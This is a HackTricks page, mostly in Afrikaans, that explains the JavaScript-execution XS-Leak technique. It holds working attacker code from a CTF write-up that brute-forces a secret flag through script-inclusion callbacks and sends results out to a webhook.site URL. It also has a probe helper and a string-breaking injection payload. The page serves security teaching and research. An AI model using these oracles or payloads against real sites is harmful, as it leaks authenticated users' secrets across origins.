JavaScript Execution XS Leak
Tip
Leer & oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Blaai deur die volledige HackTricks Training-katalogus vir die assesseringsroetes (ARTA/GRTA/AzRTA) en Linux Hacking Expert (LHE).
Ondersteun HackTricks
- Kyk na die intekenplanne!
- Sluit aan by die 💬 Discord-groep, die telegram-groep, volg @hacktricks_live op X/Twitter, of kyk na die LinkedIn-bladsy en YouTube-kanaal.
- Deel hacking tricks deur PRs in te stuur na die HackTricks en HackTricks Cloud github repos.
Hierdie XS-Search primitief verander of ’n cross-origin response as JavaScript uitvoer in ’n Boolean oracle.
Die gewone opstelling is:
- Positiewe toestand: die target gee attacker-controlled teks of sensitiewe inhoud terug wat nie as attacker JavaScript uitvoer nie.
- Negatiewe toestand: die target reflekteer attacker-controlled teks na ’n plek wat as geldige JavaScript gepars word, sodat die attacker ’n callback soos
window.parent.foo()kan forseer. - leak: laai die target met ’n klassieke
<script src>en observeer of die callback geaktiveer word.
Dit is basies ’n execution oracle, nie ’n timing oracle nie. Die enigste ding wat die attacker nodig het, is ’n cross-origin script inclusion wat anders optree afhangend van die secret-dependent branch.
Vir die generiese XS-Leaks agtergrond, sien:
When This Works
Hierdie technique is prakties wanneer al die volgende waar is:
- Die victim is authenticated by die target origin.
- Die attacker kan die victim browser ’n classic script laat request van die target origin.
- Een branch gee inhoud terug wat geldige attacker-controlled JavaScript is.
- Die ander branch gee inhoud terug wat nie die attacker callback uitvoer nie.
In practice is die maklikste gevalle search/debug endpoints wat:
- attacker-controlled teks teruggee wanneer ’n guess verkeerd is
- ’n ander body teruggee wanneer die guess reg is
- die attacker toelaat om ’n parameter soos
callback,hint,msg, of ’n reflected prefix/suffix te kies
Basic Example
Server-side code wat ${guess} as ’n flag prefix sal probeer:
app.get("/guessing", function (req, res) {
let guess = req.query.guess
let page = `<html>
<head>
<script>
function foo() {
// If not the flag this will be executed
window.parent.foo()
}
</script>
<script src="https://axol.space/search?query=${guess}&hint=foo()"></script>
</head>
<p>hello2</p>
</html>`
res.send(page)
})
Hoofbladsy wat iframes na die vorige /guessing-bladsy genereer om elke moontlikheid te toets:
<html>
<head>
<script>
let candidateIsGood = false
let candidate = ""
let flag = "bi0sctf{"
let guessIndex = -1
let flagChars =
"_0123456789abcdefghijklmnopqrstuvwxyz}ABCDEFGHIJKLMNOPQRSTUVWXYZ"
// this will get called from our iframe IF the candidate is WRONG
function foo() {
candidateIsGood = false
}
timerId = setInterval(() => {
if (candidateIsGood) {
flag = candidate
guessIndex = -1
fetch("https://webhook.site/<yours-goes-here>?flag=" + flag)
}
// Start with true and change to false if the guess is wrong
candidateIsGood = true
guessIndex++
if (guessIndex >= flagChars.length) {
fetch("https://webhook.site/<yours-goes-here>")
return
}
let guess = flagChars[guessIndex]
candidate = flag + guess
let iframe = `<iframe src="/guessing?guess=${encodeURIComponent(
candidate
)}"></iframe>`
hack.innerHTML = iframe
}, 500)
</script>
</head>
<p>hello</p>
<div id="hack"></div>
</html>
Die aanvallerlogika is:
- Begin elke kandidaat as “good”.
- Laai die teikenresponse as ’n script.
- As die response
window.parent.foo()uitvoer, merk die kandidaat as verkeerd. - As geen callback uitgaan nie, behou die kandidaat en gaan voort met brute-forcing.
Minimal Probe Pattern
In baie werklike teikens is ’n iframe nie nodig nie. ’n Direkte script inclusion is genoeg:
<script>
let hit = true
function miss() {
hit = false
}
function probe(url) {
return new Promise((resolve) => {
hit = true
const s = document.createElement("script")
s.src = url
s.onload = () => resolve(hit)
s.onerror = () => resolve(false)
document.head.appendChild(s)
})
}
</script>
As die “wrong guess” branch miss() weerspieël, dan:
probe(...) === falsebeteken die callback het uitgevoer of die load het gefaalprobe(...) === truebeteken die script het gelaai sonder om die attacker callback uit te voer
Vir betroubaarheid, gebruik ’n fresh script element per probe en voeg ’n cache-buster soos ?r=${crypto.randomUUID()} by.
Modern Caveats
Dit moet ’n classic script wees
Hierdie primitive steun op die browser wat die resource as ’n classic script haal. ’n Gewone <script src=...> sonder crossorigin word in no-cors mode gehaal, en dit is presies hoekom hierdie ou pattern nog steeds nuttig is cross-origin.
Moet nie oorskakel na type="module" vir hierdie technique nie:
- cross-origin module scripts require CORS
- baie targets wat as classic scripts ingesluit kan word, sal eenvoudig as modules faal
MIME type en nosniff bepaal of die payload execute
Huidige browsers is strenger as ouer writeups. As die target X-Content-Type-Options: nosniff stel, sal die browser ’n script response blokkeer wie se MIME type nie ’n JavaScript MIME type is nie.
Dit beteken hierdie oracle hang dikwels af van:
- of die target
application/javascript/text/javascriptterugstuur - of die target
text/plain,text/html, of JSON terugstuur - of
nosniffteenwoordig is
Dit is ook hoekom sommige endpoints net in een branch ’n leak gee: een response word as script aanvaar, terwyl die ander branch geblokkeer word of anders gepars word.
CORB kan die waarneembare resultaat verander
CORB voeg nog ’n branch by om oor na te dink. As ’n response as CORB-protected beskou word, kan Chromium dit in ’n leë geldige script response verander in plaas daarvan om ’n parse failure te wys. So vir sommige endpoints:
- een state trigger ’n normale script parse / callback
- ’n ander state word ’n leë script en slegs
onloadfire
Dit is steeds ’n nuttige oracle, maar die sein is nou callback vs no callback of onload vs onerror, nie net “JavaScript executed or not” nie.
CSP kan die attacker-controlled branch doodmaak
Streng CSP op die target response kan hierdie primitive breek wanneer die reflected branch nie meer executable JavaScript is nie. Public XS-Leak challenge writeups van 2022 tot 2024 steun herhaaldelik op hierdie detail:
script-src 'none'kan attackers forseer om weg te pivot vanaf ’n direkte execution oracle- CSP/SRI/CSP-report interactions kan steeds ander leak oracles skep, maar dit behoort aan ander pages/techniques
So wanneer die ooglopende callback-trick nie werk nie, inspekteer response headers voordat jy die endpoint weggooi.
Useful Variants
Callback-parameter endpoints
Die gerieflikste target is ’n JSONP-style of debug endpoint wat ’n parameter soos aanvaar:
callback=...cb=...jsonp=...hint=...msg=...
As die “miss” branch daardie value woordeliks in executable JavaScript weerspieël terwyl die “hit” branch ander content terugstuur, kry jy ’n direkte Boolean oracle sonder timing measurement.
Syntax-preserving prefixes and suffixes
Soms kan jy nie die response body volledig beheer nie, maar jy kan steeds die negative branch laat execute:
- maak die huidige string of function argument toe
- inject die callback
- comment die trailing bytes uit
Byvoorbeeld, ’n reflected branch soos:
showResult("<attacker>");
kan dikwels omgeskakel word na:
showResult("");window.parent.foo();//");
As die positiewe branch nie daardie payload weerspieël nie, word die callback die oracle.
Kombineer met event-based oracles
As die endpoint onstabiel is oor browsers, meng die execution oracle met die generiese script load events wat reeds in die section index gedek is:
- callback fired
onloadonerror
Dit is veral nuttig wanneer een branch geldige JavaScript oplewer en ’n ander branch geblokkeerde MIME / CORB / CSP behavior toon.
Related pages:
Practical Notes
- Verkies een bit per request en hou die callback side effect eenvoudig.
- As jy baie candidates toets, verwyder voorheen ingevoegde
<script>elements of isoleer elke poging in ’n vars iframe. - Cache- en service worker behavior kan die oracle besoedel; gebruik cache-busting.
- Hierdie primitive is die sterkste wanneer die negative branch volledig attacker-controlled JavaScript is. As jy net partial reflection kry, word die exploit ’n payload-shaping problem eerder as ’n XS-Search problem.
References
- https://xsleaks.dev/docs/attacks/error-events/
- https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/
Tip
Leer & oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Blaai deur die volledige HackTricks Training-katalogus vir die assesseringsroetes (ARTA/GRTA/AzRTA) en Linux Hacking Expert (LHE).
Ondersteun HackTricks
- Kyk na die intekenplanne!
- Sluit aan by die 💬 Discord-groep, die telegram-groep, volg @hacktricks_live op X/Twitter, of kyk na die LinkedIn-bladsy en YouTube-kanaal.
- Deel hacking tricks deur PRs in te stuur na die HackTricks en HackTricks Cloud github repos.


